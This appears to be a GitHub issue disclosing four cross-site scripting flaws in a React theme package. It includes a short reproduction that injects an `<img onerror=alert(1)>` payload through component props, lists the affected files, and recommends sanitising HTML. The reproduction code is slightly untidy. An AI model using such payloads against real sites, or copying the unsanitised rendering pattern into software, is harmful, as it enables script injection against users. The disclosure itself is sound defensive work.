Open
Description
Hi, I've found four Cross-Site Scripting (XSS) vulnerabilities in the theme package.
Vulnerability Details:
- Severity: High/Critical
- Description: There's a risk of malicious script execution when the input to components are controlled by an adversory.
Steps to Reproduce:
import React from "react";
import {
PageContainer,
CheckoutContainer,
IndexContainer,
SharedContainer,
} from "theme";
function App() {
return (
<div>
<PageContainer
state={{
productDetails: {
description: `<img src='' onerror=alert(1)`,
},
}}
/>
<CheckoutContainer
state={{
pageDetails: {
description: `<img src='' onerror=alert(1)`,
},
}}
/>
pageDetails
</div>
);
}
const root = ReactDOM.createRoot(document.getElementById("root"));
root.render(<App />);
Suggested Fix or Mitigation:
Sanitize the HTML before rendering with dangerouslySetInnerHTML. To fix all of the four vulnerabilities, sanitize the HTML at the following locations:
components/checkoutSuccess.js line 117
containers/index.js line 32
components/productDetails/index.js line 21
containers/page.js line 32
Metadata
Metadata
Assignees
Labels
No labels